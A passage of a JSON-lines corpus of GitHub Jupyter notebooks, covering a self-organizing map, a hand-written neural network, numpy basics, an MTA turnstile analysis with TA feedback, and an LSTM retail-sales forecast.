np.ravel(WY)]).transpose()\n\n def fit(self, data: np.ndarray, n_iter: int) -> None:\n self._init_weights(data)\n for t in range(n_iter):\n x = random.choice(data)\n bmu_id = self._find_winner(x)\n self._update_weights(x, bmu_id, t+1)\n\n def _find_winner(self, x: np.ndarray) -> int:\n return np.argmin(np.apply_along_axis(lambda w: np.linalg.norm(x-w), 1, self.weights))\n\n def _update_weights(self, x: np.ndarray, bmu_id: int, t: int) -> None:\n bmu_w = self.weights[bmu_id]\n d = np.apply_along_axis(\n lambda w: np.linalg.norm(w-bmu_w), 1, self.weights)\n s = np.exp(-self.alpha*np.square(d)*t)\n self.weights += np.apply_along_axis(\n lambda w: self.beta*s*w, 0, x-self.weights)\n\n\ndef circle_cluster_gen(c: np.ndarray, r: float, n: int) -> np.ndarray:\n res = []\n for i in range(n):\n a = random.uniform(0, 2*math.pi)\n d = random.gauss(0, r)\n x = math.cos(a)*d+c[0]\n y = math.sin(a)*d+c[1]\n res.append([x, y])\n return np.array(res, dtype='float32')\n\n\n# +\ndata1 = circle_cluster_gen(np.array([-20, 0]), 5, 100)\ndata2 = circle_cluster_gen(np.array([20, 0]), 5, 100)\n\ndata = np.concatenate([data1, data2])\n\n# +\nalpha = 1e-3\nbeta = 1e-1\n\nmodel = SOM(49, 2, alpha, beta)\nmodel.fit(data, n_iter=500)\n\nplt.scatter(data[:, 0], data[:, 1], c='grey', alpha=0.25)\nplt.scatter(model.weights[:, 0], model.weights[:, 1], c='crimson')\n\nplt.tight_layout()\nplt.axis('equal')\nplt.show()\n","repo_name":"VY354/my_repository","sub_path":"Python/projects/machine_learning/self_organizing_map/src/main.ipynb","file_name":"main.ipynb","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"13"} +{"seq_id":"31173858774","text":"# +\nimport numpy as np\n\nfile_data = pd.read_csv('../Dataset/auto-mpg.csv')\ndata_array = np.array(file_data)\n# -\n\nprint('Categories: \\n' + str(file_data.iloc[0]) + '\\n-----------------------------------------\\nData:\\n-----------------------------------------')\nfor i in data_array:\n print(i)\n\n# +\n\n# Get rid of bad data (must be 8 ints followed by a string)\n# del_arr = np.intc([])\ndel_arr = []\nfor data_i in range(len(data_array)):\n try:\n data_array[data_i][3] = float(data_array[data_i][3])\n except ValueError:\n print(data_i)\n# np.append(del_arr, data_i)\n del_arr.append(data_i)\n print(del_arr)\nprint(del_arr)\ndata_array = np.delete(data_array, del_arr, 0)\n\nprint(data_array.shape)\n \n# y: get first column of data\ny = np.atleast_2d(data_array[:,0]).T\n\nprint('yshape:', y.shape)\n \n# Get car models\ncar_models = []\nfor i in data_array:\n if not i[8] in car_models:\n car_models.append(i[8])\ncar_models = np.array(car_models)\n \n# One-hot encoding for car model categories\nnum_car_models = len(car_models)\nohe_array = []\nfor data in data_array:\n arr = np.zeros(num_car_models)\n arr[np.where(car_models == data[8])[0]] = 1\n ohe_array.append(arr)\n \n# Full data encoding\nexclude_columns = (0, len(data_array[0])-1)\nx = np.array(np.concatenate((\n np.delete(data_array, exclude_columns, axis=1),\n ohe_array\n), axis=1))\n\n# Convert input to float\nx = input_data_arr.astype(float)\n\nprint(len(y))\nprint(len(x))\n\nprint(y[0])\nprint(x[0])\n\nprint(x.shape)\n\n\n# +\n\n# Define sigmoid\ndef sigmoid(x, deriv=False):\n if(deriv==True):\n # Derivative of Sigmoid. X is the sigmoid function itself.\n return x*(1-x)\n return 1/(1+np.exp(-x))\n \n\nclass NN:\n \n def __init__(self, x, y):\n \n nneurons_11 = 256\n nneurons_l2 = 256\n\n # Dataset\n self.x = x\n self.y = y\n \n np.random.seed(1)\n \n # Weight initialization\n self.w0 = np.random.rand(self.x.shape[1], nneurons_11) * 2 - 1\n self.w1 = np.random.rand(nneurons_11, nneurons_l2) * 2 - 1\n self.w2 = np.random.rand(nneurons_l2, 1) * 2 - 1\n \n self.output = np.zeros(y[0].shape)\n \n def feedforward(self):\n print('0')\n # Linear forwards\n# print(self.x)\n# print(self.w0)\n self.l1 = sigmoid(np.dot(self.x, self.w0))\n \n print('a')\n \n# print(self.l1)\n \n self.l2 = sigmoid(np.dot(self.l1, self.w1))\n \n print('b')\n \n \n self.z = np.dot(self.l2, self.w2)\n self.output = sigmoid(self.z)\n \n print('c')\n \n# print(self.output)\n \n def backprop(self):\n \n print('asd')\n \n # Calculate error\n self.mse = (self.y-self.output) ** 2\n \n print('asb')\n \n # For MSE, formula for derivative w respect to weight is: 2(y-yhat)*sig'(x)*x\n # Find derivative of Loss function ((y-yhat)^2) with respect to weight\n \n # First backprop: 2(y-yhat)*sig'(x)*x\n # x = self.l2 - the x value before the last synapse (Wx + b). Transpose for matrix multiplication\n _x = self.l2.T\n loss_derivative = 2*(self.y - self.output)\n# print(self.l1)\n# print(self.l2)\n# print(self.output)\n sigmoid_derivative = sigmoid(self.output, True) # self.z ???????????\n \n# print(_x)\n# print(loss_derivative)\n# print(sigmoid_derivative)\n \n d_w2 = np.dot(_x, loss_derivative * sigmoid_derivative).astype(float)\n \n # Second backprop, identical, but one layer back, and factors in dot product of the weights ahead.\n _x = self.l1.T\n l1_sigmoid_d = sigmoid(self.l2, True)\n # dLoss/da(L-1): np.dot(loss_derivative * sigmoid_derivative, self.w2.T)\n# print(loss_derivative.shape)\n# print(sigmoid_derivative.shape)\n# print(self.w2.T.shape)\n dLoss_over_daLminus1 = np.dot(loss_derivative * sigmoid_derivative, self.w2.T)\n \n d_w1 = np.dot(self.l1.T, (dLoss_over_daLminus1 * l1_sigmoid_d)).astype(float)\n \n # Third backprop\n _x = self.x.T\n l0_sigmoid_d = sigmoid(self.l1, True)\n dLoss_da_Lmin2 = dLoss_over_daLminus1 * l1_sigmoid_d\n \n d_w0 = np.dot(self.x.T, (dLoss_da_Lmin2 * l0_sigmoid_d)).astype(float)\n \n # Update weights\n# print(self.w0.shape, d_w0.shape)\n# print(type(self.w0[0][0]), type(d_w0[0][0]))\n \n# print(d_w0)\n# print(d_w1)\n\n print(self.w0)\n print(d_w0)\n \n self.w0 += d_w0\n self.w1 += d_w1\n self.w2 += d_w2\n\n \nRyanNN = NN(x, y)\n\n\nEPOCHS = 2\nfor i in range(EPOCHS):\n RyanNN.feedforward()\n print('asv')\n RyanNN.backprop()\n if i % 2 == 0:\n print('MSE:', np.mean(RyanNN.mse))\n\n\n# print(RyanNN.output)\n\n# -\n\n#\n\n\n","repo_name":"JRyanShue/RyanNN","sub_path":"Notebook/NN on autompg from scratch.ipynb","file_name":"NN on autompg from scratch.ipynb","file_ext":"py","file_size_in_byte":4961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"13"} +{"seq_id":"42036350371","text":"import numpy as np\n\narr = np.arange(10,40,5)\n\narr\n\nabc = arr +arr\n\nabc\n\nap = arr -abc\n\nap\n\napv = ap*abc\n\napv\n\nabc +20\n\nabc -2\n\nabc *4\n\nabc /4\n\nabc # its not effected because we are not assigned\n\nabc.max()\n\nabc.min()\n\nnp.sin(abc)\n\nnp.abs(-10)\n\nnp.absolute(20.89)\n\nnp.add(10,10)\n\nnp.all(10)\n\nnp.all(-1)\n\n\n\n\n","repo_name":"PrasadRaoJ/DataScience-And-Machine-Learning","sub_path":"3.Numpy Operations.ipynb","file_name":"3.Numpy Operations.ipynb","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"13"} +{"seq_id":"6075381168","text":"# ```Topic: Challenge Set 1\n# Subject: Explore MTA turnstile data\n# Date: 09/24/17\n# Name: Carl Frederick```\n\n# +\nimport pandas as pd\nimport numpy as np\n\nmta=pd.read_csv('turnstile_170708.txt')\n# -\n\nmta.info()\n\n# mta.head()\n\nmta.head()\n\nlen(mta)\n\nmta.iloc[0]\n\nmta.columns\n\n# # **Challenge 1 using pandas/nonpandas hybrid, on first 1000 entries in mta**\n\n# +\n\nd = {}\nfor i in range(1000): # to run on all entries in mta: for i in range(len(mta)):\n try:\n d[(mta[\"C/A\"][i], mta[\"UNIT\"][i], mta[\"SCP\"][i], mta[\"STATION\"][i])] \\\n .append(list(mta[mta.columns[4:]].iloc[i].values))\n except KeyError:\n d[(mta[\"C/A\"][i], mta[\"UNIT\"][i], mta[\"SCP\"][i], mta[\"STATION\"][i])] = list(mta[mta.columns[4:]].iloc[i].values)\n\n i = 0\nfor it in d.items():\n print(it)\n i++1\n if i>5:\n break\n\n# -\n\n# **TA COMMENT:**\n#\n# I see what you were trying to do, but for the first three problems in this challenge set the purpose was to show that the use of python dictionaries to manually do data groupings can be replaced with loading a csv file into a pandas dataframe. \n\n# # **Challenge 2 - pandas/nonpandas hybrid**\n\n# +\n# Run on just the first 1000 entries in mta\nfrom dateutil import parser\nfrom collections import defaultdict\nd = defaultdict(list)\nfor i in range(1000): # to run on all: for i in range(len(mta)):\n mydate = parser.parse(mta[\"DATE\"][i]+\" \"+mta[\"TIME\"][i])\n d[tuple(mta[mta.columns[:4]].iloc[i].values)].append([mydate, mta[\"ENTRIES\"][i]])\n \nd[('A002', 'R051', '02-00-00', '59 ST')]\n\n# +\n# This was my original answer to Challenge 3\n# I found that I had misinterpreted the question/got it wrong.\n#mta.groupby(['C/A','UNIT','SCP','STATION','DATE']).aggregate(np.sum)\n# -\n\n# This is just some work trying to identify Brooklyn stations used in the project\n# brook was assembled by hand from web sources identifying Brooklyn stations, comparing to the STATIONS in mta\nfor i in range(len(brook)):\n #print()\n #print (brook[i])\n #print(df_temp[df_temp['STATION'].str.startswith(brook[i])][[\"STATION\",\"DIVISION\"]])\n pass\n\n\n# # **Challenge three** - supplied solution with my notes\n\n# +\n# Source: http://web.mta.info/developers/turnstile.html\ndef get_data(week_nums):\n url = \"http://web.mta.info/developers/data/nyct/turnstile/turnstile_{}.txt\"\n dfs = []\n for week_num in week_nums:\n file_url = url.format(week_num)\n dfs.append(pd.read_csv(file_url))\n return pd.concat(dfs)\n \nweek_nums = [160903, 160910, 160917]\nturnstiles_df = get_data(week_nums)\n# -\n\nturnstiles_df.columns\n\nturnstiles_df.columns = [column.strip() for column in turnstiles_df.columns]\n\nturnstiles_df.columns\n\nfrom datetime import datetime as dt\n\nmask = ((turnstiles_df[\"C/A\"] == \"A002\") & \n (turnstiles_df[\"UNIT\"] == \"R051\") & \n (turnstiles_df[\"SCP\"] == \"02-00-00\") & \n (turnstiles_df[\"STATION\"] == \"59 ST\"))\nturnstiles_df[mask].head()\n\n# Take the date and time fields into a single datetime column\nturnstiles_df[\"DATE_TIME\"] = pd.to_datetime(turnstiles_df.DATE + \" \" + turnstiles_df.TIME, format=\"%m/%d/%Y %H:%M:%S\")\n\nmask = ((turnstiles_df[\"C/A\"] == \"R626\") & \n(turnstiles_df[\"UNIT\"] == \"R062\") & \n(turnstiles_df[\"SCP\"] == \"00-00-00\") & \n(turnstiles_df[\"STATION\"] == \"CROWN HTS-UTICA\"))\nturnstiles_df[mask].head()\n\n(turnstiles_df\n .groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"])\n .ENTRIES.count()\n .reset_index()\n .sort_values(\"ENTRIES\", ascending=False)).head(5)\n\n# Get rid of the duplicate entry\n# Also, sort in place so the latest value for each day comes first\nturnstiles_df.sort_values([\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"], inplace=True, ascending=False)\nturnstiles_df.drop_duplicates(subset=[\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"], inplace=True)\n\n# Sanity Check to verify that \"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\" is unique\n(turnstiles_df\n .groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE_TIME\"])\n .ENTRIES.count()\n .reset_index()\n .sort_values(\"ENTRIES\", ascending=False)).head(5)\n\n# Drop Exits and Desc Column. To prevent errors in multiple run of cell, errors on drop is ignored\nturnstiles_df = turnstiles_df.drop([\"EXITS\", \"DESC\"], axis=1, errors=\"ignore\")\n\n# Now groupby date to collect all the day entries. Because we sorted earlier, the first entry for a date\n# will have the last datapoint for that day, which is the cumulative entries up to that point.\nturnstiles_daily = turnstiles_df.groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\", \"DATE\"]).ENTRIES.first().reset_index()\n\nturnstiles_daily.head()\n\n# Create columns for date/entries shifted by one day, to prepare to subtract yesterday's entries from today's.\n# This will ultimately leave us with just the entries for each day\nturnstiles_daily[[\"PREV_DATE\", \"PREV_ENTRIES\"]] = (turnstiles_daily\n .groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\"])[\"DATE\", \"ENTRIES\"]\n .transform(lambda grp: grp.shift(1)))\n\n# Note that the first row will be missing the previous day values since there was nothing to shift into them.\nturnstiles_daily.head()\n\n# Drop that first row by dropping null rows\nturnstiles_daily.dropna(subset=[\"PREV_DATE\"], axis=0, inplace=True)\n\n# Check to see that ENTRIES is always greater than PREV_ENTRIES. Some are not!\nturnstiles_daily[turnstiles_daily[\"ENTRIES\"] < turnstiles_daily[\"PREV_ENTRIES\"]].head()\n\n# Check a single date to see how ENTRIES changes throughout the day. The ENTRIES drops throughout the day! What?\n# What's the deal with counter being in reverse\nmask = ((turnstiles_df[\"C/A\"] == \"A011\") & \n(turnstiles_df[\"UNIT\"] == \"R080\") & \n(turnstiles_df[\"SCP\"] == \"01-00-00\") & \n(turnstiles_df[\"STATION\"] == \"57 ST-7 AV\") &\n(turnstiles_df[\"DATE_TIME\"].dt.date == datetime.datetime(2016, 8, 27).date()))\nturnstiles_df[mask]\n\n\n# +\n# Let's see how many stations have this problem\n\n(turnstiles_daily[turnstiles_daily[\"ENTRIES\"] < turnstiles_daily[\"PREV_ENTRIES\"]]\n .groupby([\"C/A\", \"UNIT\", \"SCP\", \"STATION\"])\n .size())\n\n\n# +\ndef get_daily_counts(row, max_counter):\n counter = row[\"ENTRIES\"] - row[\"PREV_ENTRIES\"]\n if counter < 0:\n # Maybe counter is reversed?\n counter = -counter\n if counter > max_counter:\n print(row[\"ENTRIES\"], row[\"PREV_ENTRIES\"])\n counter = min(row[\"ENTRIES\"], row[\"PREV_ENTRIES\"])\n if counter > max_counter:\n # Check it again to make sure we are not giving a counter that's too big\n return 0\n return counter\n\n# If counter is > 1Million, then the counter might have been reset. \n# Just set it to zero as different counters have different cycle limits\nturnstiles_daily[\"DAILY_ENTRIES\"] = turnstiles_daily.apply(get_daily_counts, axis=1, max_counter=1000000)\n# -\n\n# **TA COMMENT:**\n#\n# I think this operation can be done without using the apply method by filtering the dataframe directly. For example, \n# - turnstiles_daily['ENTRIES_DIFF'] = turnstiles_daily['ENTRIES'] - turnstiles_daily['PREV_ENTRIES']\n# - turnstiles_daily[turnstiles_daily['ENTRIES_DIFF'] > 1000000] = 0\n#\n\nturnstiles_daily[turnstiles_daily.STATION == 'RIT-MANHATTAN'].head()\n\n# # **Challenge 4**\n\n# %matplotlib inline\nimport matplotlib.pyplot as plt\n\nmask = ((turnstiles_daily[\"C/A\"] == \"TRAM1\") & \n(turnstiles_daily[\"UNIT\"] == \"R468\") & \n(turnstiles_daily[\"SCP\"] == \"00-00-00\") & \n(turnstiles_daily[\"STATION\"] == \"RIT-MANHATTAN\"))\nturnstiles_daily[mask].head()\n\ndates, counts = pd.to_datetime(turnstiles_daily[mask][\"DATE\"]), turnstiles_daily[mask][\"DAILY_ENTRIES\"]\n\n# +\n# The result here looks a bit suspect in that there are days when entries exceeds 600000. If that seems to high we\n# could reduce the max_entries in the previous code to somewhat less than 1 million.\n\nplt.figure(figsize=(20,3))\nplt.title(\"Daily entries for one turnstile in the RIT-MANHATTAN station\")\nplt.xlabel(\"Date\")\nplt.ylabel(\"Entries\")\nplt.plot(dates,counts);\n# -\n\n# # **Challenge 5**\n\nturnstiles_daily.groupby([\"C/A\", \"UNIT\", \"STATION\", \"DATE\"]).DAILY_ENTRIES.agg(np.sum).head()\n\n# # **Challenge 6**\n\nturnstiles_daily.groupby([\"STATION\", \"DATE\"]).DAILY_ENTRIES.agg(np.sum).head()\n\n# # **Challenge 7**\n\nsrit = turnstiles_daily[turnstiles_daily['STATION']=='RIT-MANHATTAN'].groupby([\"STATION\", \"DATE\"]).agg(np.sum)\n\nsrit = srit.reset_index()\n\ndates, counts = pd.to_datetime(srit[\"DATE\"]), srit[\"DAILY_ENTRIES\"]\n\nplt.figure(figsize=(20,3))\nplt.title(\"Daily entries for all of RIT-MANHATTAN station\")\nplt.xlabel(\"Date\")\nplt.ylabel(\"Entries\")\nplt.plot(dates,counts);\n\n# # **Challenge 8**\n\nweek_nums = [160903, 160910, 160917, 160924, 161001, 161008]\nturnstiles_df = get_data(week_nums)\n\nturnstiles_df.DATE.unique()\n\ndays = list(turnstiles_df.DATE.unique())\n\nturnstiles_df[\"DATE_TIME\"] = pd.to_datetime(turnstiles_df.DATE + \" \" + turnstiles_df.TIME, format=\"%m/%d/%Y %H:%M:%S\")\n\nturnstiles_df.sort_values([\"STATION\", \"DATE_TIME\"], inplace=True, ascending=False)\nturnstiles_df.drop_duplicates(subset=[\"STATION\", \"DATE_TIME\"], inplace=True)\n\nturnstiles_df = turnstiles_df.drop([\"EXITS\", \"DESC\"], axis=1, errors=\"ignore\")\n\nturnstiles_daily = turnstiles_df.groupby([\"STATION\", \"DATE\"]).ENTRIES.first().reset_index()\n\n# **TA COMMENT:**\n#\n# So, this part of the code seems to be copied from above. If you find yourself copying code, then it might be good to step back and create helper functions. Having repeating code makes the code prone to error. \n\nturnstiles_daily[[\"PREV_DATE\", \"PREV_ENTRIES\"]] = (turnstiles_daily\n .groupby([\"STATION\"])[\"DATE\", \"ENTRIES\"]\n .transform(lambda grp: grp.shift(1)))\n\nturnstiles_daily.dropna(subset=[\"PREV_DATE\"], axis=0, inplace=True)\n\nturnstiles_daily[\"DAILY_ENTRIES\"] = turnstiles_daily.apply(get_daily_counts, axis=1, max_counter=1000000)\n\nturnstiles_daily.head()\n\nsrit = turnstiles_daily[turnstiles_daily['STATION']=='RIT-MANHATTAN'].groupby([\"STATION\", \"DATE\"]).agg(np.sum)\n\nsrit = srit.reset_index()\nsrit.head()\n\n# +\nplt.figure(figsize=(20,3))\nplt.title(\"Week by week entries for all of RIT-MANHATTAN station\")\nplt.xlabel(\"Date\")\nplt.ylabel(\"Entries\")\n\nx = range(7)\nplt.xticks(x,['M', 'T', 'W', 'Th', 'F', 'Sat', 'Sun'])\n\nfor start in range(2,2+5*7,7):\n week = []\n for day in days[start:start+7]:\n week.append(int(srit[srit.DATE==day].DAILY_ENTRIES))\n plt.plot(x,week, label=day)\n \nplt.legend(loc=\"upper left\")\n# -\n\n# **TA COMMENT:**\n#\n# For line plots with multiples series, it would be good to make the plot taller so that the lines can be more distinguishable. \n\n# # **Challenge 9**\n\n# Get the daily volume again\nturnstiles_daily = turnstiles_df.groupby([\"STATION\", \"DATE\"]).ENTRIES.first().reset_index()\n\nturnstiles_daily.head()\n\n# Shift by 7 days so we can capture the weekly volume\nturnstiles_daily[[\"PREV_DATE\", \"PREV_ENTRIES\"]] = (turnstiles_daily\n .groupby([\"STATION\"])[\"DATE\", \"ENTRIES\"]\n .transform(lambda grp: grp.shift(7)))\nturnstiles_daily.head(20)\n\n# **TA COMMENT:**\n#\n# This was a clever idea but since the counter resets for the MTA data it might not be a good idea to shift the entries by 7 days. If you use the datetime methods built into pandas (ex: df['DATE'].dt.week) you can get the numerical representation of which week each day belongs to. Then, using a groupby you could aggregate the daily entries.\n\n# Drop the null rows created by shifting\nturnstiles_daily.dropna(subset=[\"PREV_DATE\"], axis=0, inplace=True)\nturnstiles_daily.head(20)\n\n# sbtract PREV_ENTRIES from ENTRIES to get a week of entries for each date\nturnstiles_daily[\"WEEKLY_ENTRIES\"] = turnstiles_daily.apply(get_daily_counts, axis=1, max_counter=1000000)\n\nturnstiles_daily.head(20)\n\nweekly = turnstiles_daily[(turnstiles_daily.DATE == '09/03/2016')\n |(turnstiles_daily.DATE == '09/10/2016')\n |(turnstiles_daily.DATE == '09/17/2016')\n |(turnstiles_daily.DATE == '09/24/2016')\n ]\n\nheaviest = weekly.groupby(\"STATION\").agg(np.sum).sort_values([\"WEEKLY_ENTRIES\"], ascending=[False])\n\nheaviest.head(10)\n\n# # **Challenge 10**\n\nheaviest = heaviest.reset_index()\nstations, counts = list(heaviest.STATION), list(heaviest.WEEKLY_ENTRIES)\n\nplt.figure(figsize=(20,10))\nplt.title(\"Weekly entries histogram, sorted descending by number of entries\")\nplt.ylabel(\"Number of stations\")\nplt.xlabel(\"Weekly Entries\")\nplt.hist(counts, bins=100);\n\n\n\n\n\n# **TA COMMENT:**\n#\n# Overall, you did a great job using pandas to manipulate the MTA data. There are more specific comments throughout the notebook that is directed at specific lines of code. A few general comments would be:\n# 1. Use helper functions whenever you find yourself copying code from one part of the notebook to another.\n# 2. Try not to go through dataframes row-by-row (get_daily_counts helper function). Dataframes aren't optimized to have functions applied row-by-row.\n","repo_name":"jshtaway/MLBootCamp","sub_path":"student_submissions/challenges/01_mta/frederick_carl/challenge_set_1_frederick.ipynb","file_name":"challenge_set_1_frederick.ipynb","file_ext":"py","file_size_in_byte":13082,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"13"} +{"seq_id":"69829144339","text":"# + _uuid=\"8f2839f25d086af736a60e9eeb907d3b93b6e0e5\" _cell_guid=\"b1076dfc-b9ad-4769-8c92-a6c4dae69d19\"\n# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python Docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load\n\n# standard libraries\nimport os\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\n\n# modeling libraries\nfrom keras.models import Sequential\nfrom keras.layers import Dense, LSTM, Dropout, BatchNormalization\nfrom sklearn.preprocessing import MinMaxScaler\n\n# viz libraries\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set_style('ticks')\nplt.style.use(\"fivethirtyeight\")\n# -\n\n# ### Project Overview\n#\n# For this project I will build an LSTM network to predict future transactions for a single retailer. The relevant data contains transaction history for a single retailer from 2009-2011. I will briefly highlight what each field in the dataset represents. This notebook will contain exploratory analysis, proper reformatting of time series data, LSTM model training and experimenting, and finally comparing model predictions against the holdout test dataset.\n#\n# The data for this project is provided by Kaggle and can be found [here](https://www.kaggle.com/datasets/mathchi/online-retail-ii-data-set-from-ml-repository).\n#\n# Brief description of column fields and what they represent:\n#\n# - **InvoiceNo**: Invoice number. Nominal. A 6-digit integral number uniquely assigned to each transaction. If this code starts with the letter 'c', it indicates a cancellation.\n# - **StockCode**: Product (item) code. Nominal. A 5-digit integral number uniquely assigned to each distinct product.\n# - **Description**: Product (item) name. Nominal.\n# - **Quantity**: The quantities of each product (item) per transaction. Numeric.\n# - **InvoiceDate**: Invice date and time. Numeric. The day and time when a transaction was generated.\n# - **UnitPrice**: Unit price. Numeric. Product price per unit in sterling (£).\n# - **CustomerID**: Customer number. Nominal. A 5-digit integral number uniquely assigned to each customer.\n# - **Country**: Country name. Nominal. The name of the country where a customer resides.\n\n# ### EDA\n\n# + jupyter={\"outputs_hidden\": true}\n# start by downloading dataset using Kaggle API then reading in\n# !kaggle datasets download -d mathchi/online-retail-ii-data-set-from-ml-repository\n\n# +\ndf1 = pd.read_csv(\"/kaggle/input/online-retail-ii-data-set-from-ml-repository/Year 2009-2010.csv\", encoding= 'unicode_escape')\ndf2 = pd.read_csv(\"/kaggle/input/online-retail-ii-data-set-from-ml-repository/Year 2010-2011.csv\", encoding= 'unicode_escape')\n\ndf1['InvoiceDate'] = pd.to_datetime(df1['InvoiceDate'])\ndf2['InvoiceDate'] = pd.to_datetime(df2['InvoiceDate'])\n\ndf1[\"data_year\"] = \"2009-2010\"\ndf2[\"data_year\"] = \"2010-2011\"\n\nprint(f\"min date in 2009 dataset: {min(df1.InvoiceDate)}\")\nprint(f\"max date in 2009 dataset: {max(df1.InvoiceDate)}\")\n\nprint(f\"min date in 2010 dataset: {min(df2.InvoiceDate)}\")\nprint(f\"max date in 2010 dataset: {max(df2.InvoiceDate)}\")\n\n# +\n# concatenating together, will work from this concatenated dataframe\ndf = pd.concat([df1, df2])\n\nprint(df.info(memory_usage=True, show_counts=True))\ndf.sample(4)\n# -\n\n# to simplify the analysis and EDA, will convert the Invoicedate field from timestamps to days.\n# that way we can aggregate on the day field, which is going to be the primary focus of this analysis\ndf['InvoiceDay'] = df.InvoiceDate.dt.date\n\n# units sold and revenue over time\ndf_grouped1 = df.groupby([\"InvoiceDay\"]).agg({\"Price\": \"sum\", \"Quantity\": \"sum\"}).reset_index()\ndf_grouped1 = df_grouped1.sort_values(\"InvoiceDay\").reset_index(drop=True)\n\n# +\nplt.figure(figsize=(15,6))\nsns.lineplot(x=df_grouped1[\"InvoiceDay\"], y=df_grouped1[\"Price\"])\nplt.title(\"Revenue per Day over time\")\nplt.xlabel(\"invoice date\")\nplt.ylabel(\"revenue\")\nplt.show()\n\nplt.figure(figsize=(15,6))\nsns.lineplot(x=df_grouped1[\"InvoiceDay\"], y=df_grouped1[\"Quantity\"], color=\"r\")\nplt.title(\"Quantity sold per Day over time\")\nplt.xlabel(\"invoice date\")\nplt.ylabel(\"quantity sold\")\nplt.show()\n\n# +\n# we can also notice that there is a single outlier in price field where price exceeds 150k\n# will also fill this in with rolling window avg to not skew model data\ndf_grouped1.loc[df_grouped1.Price > 150_000, \"Price\"] = np.nan\ndf_grouped1.Price = df_grouped1.Price.fillna(df_grouped1.Price.rolling(30).mean().shift())\n\ndf_grouped1.loc[df_grouped1.Quantity > 100_000, \"Quantity\"] = np.nan\ndf_grouped1.Quantity = df_grouped1.Quantity.fillna(df_grouped1.Quantity.rolling(30).mean().shift())\n# -\n\n# #### Moving Average of price and revenue\n\n# +\n# calculating moving avg for both columns over various rolling windows\nwindows = [7, 30, 60]\ncols = [\"Price\", \"Quantity\"]\n\nfor window in windows:\n for col in cols:\n col_name = f\"{window}day_moving_avg_{col}\"\n df_grouped1[col_name] = df_grouped1[col].rolling(window).mean()\n# -\n\ndf_grouped1\n\n# +\nplt.figure(figsize=(15,6))\nsns.lineplot(data=df_grouped1, x=\"InvoiceDay\", y=\"Price\", color=\"blue\", label=\"price\")\nsns.lineplot(data=df_grouped1, x=\"InvoiceDay\", y=\"7day_moving_avg_Price\", color=\"red\", label=\"7day\")\nsns.lineplot(data=df_grouped1, x=\"InvoiceDay\", y=\"30day_moving_avg_Price\", color=\"black\", label=\"30day\")\nsns.lineplot(data=df_grouped1, x=\"InvoiceDay\", y=\"60day_moving_avg_Price\", color=\"orange\", label=\"60 day\")\n\nplt.title(\"Revenue per Day over time\\nwith 7, 30, 60 day moving averages\")\nplt.xlabel(\"invoice date\")\nplt.ylabel(\"revenue\")\nplt.show()\n\n# +\nplt.figure(figsize=(15,6))\nsns.lineplot(data=df_grouped1, x=\"InvoiceDay\", y=\"Quantity\", color=\"blue\", label=\"price\")\nsns.lineplot(data=df_grouped1, x=\"InvoiceDay\", y=\"7day_moving_avg_Quantity\", color=\"red\", label=\"7day\")\nsns.lineplot(data=df_grouped1, x=\"InvoiceDay\", y=\"30day_moving_avg_Quantity\", color=\"black\", label=\"30day\")\nsns.lineplot(data=df_grouped1, x=\"InvoiceDay\", y=\"60day_moving_avg_Quantity\", color=\"orange\", label=\"60 day\")\n\nplt.title(\"Quantity per Day over time\\nwith 7, 30, 60 day moving averages\")\nplt.xlabel(\"invoice date\")\nplt.ylabel(\"Quanity\")\nplt.show()\n# -\n\n# lets look at a density plot of quantity per day\nplt.figure()\nsns.histplot(df_grouped1['Quantity'], fill=True, alpha=.6)\nplt.title(\"Histogram of Quantity Sold\")\nplt.show()\n\n# ### Modeling\n#\n# Going to model **7day_moving_avg_Quantity** sold over time\n\n# +\n# narrowing down to relevant fields\ndf_model = df_grouped1[[\"InvoiceDay\", \"7day_moving_avg_Quantity\"]]\ndf_model = df_model.set_index(\"InvoiceDay\")\n\ndata = df_model.filter(['7day_moving_avg_Quantity'])\ndata = data.values\n\ntrain_size = .8\nn_train = int(train_size * len(data))\nprint(f\"records in training data: {n_train}\")\nprint(f\"records in test data: {len(data)-n_train}\")\n# -\n\n# scaling the data before we feed it into model\nscaler = MinMaxScaler(feature_range=(0,1))\nscaled_data = scaler.fit_transform(data)\n\n# +\n# creating the scaled training dataset\ntrain_data = scaled_data[:n_train, :]\n\ndef create_train_data(train_data, lookback: int = 15):\n\n X_train = []\n y_train = []\n for i in range(lookback, n_train):\n X_train.append(train_data[i-lookback:i, 0])\n y_train.append(train_data[i, 0])\n\n # convert the x_train and y_train to numpy arrays \n X_train, y_train = np.array(X_train), np.array(y_train)\n\n # reshape the data\n X_train = np.reshape(X_train, (X_train.shape[0], X_train.shape[1], 1))\n \n return X_train, y_train\n\nX_train, y_train = create_train_data(train_data)\n\n# +\nmodel = Sequential([\n LSTM(units=128, activation=\"tanh\", input_shape=(X_train.shape[1], 1), return_sequences=True,),\n LSTM(units=64, activation=\"tanh\", return_sequences=True),\n Dense(25),\n Dense(1, activation=\"relu\"),\n])\n\nmodel.compile(optimizer=\"adam\", loss=\"mean_squared_error\")\n\nbatch_size = 1\nepochs=1\nmodel.fit(X_train, y_train, batch_size=batch_size, epochs=epochs)\n\n\n# +\ndef create_test_data(lookback: int = 15):\n test_data = scaled_data[n_train - lookback:, :]\n X_test = []\n y_test = data[n_train:, :]\n\n for i in range(lookback, len(test_data)):\n X_test.append(test_data[i-lookback:i, 0])\n\n # Convert the data to a numpy array\n X_test = np.array(X_test)\n\n # Reshape the data\n X_test = np.reshape(X_test, (X_test.shape[0], X_test.shape[1], 1 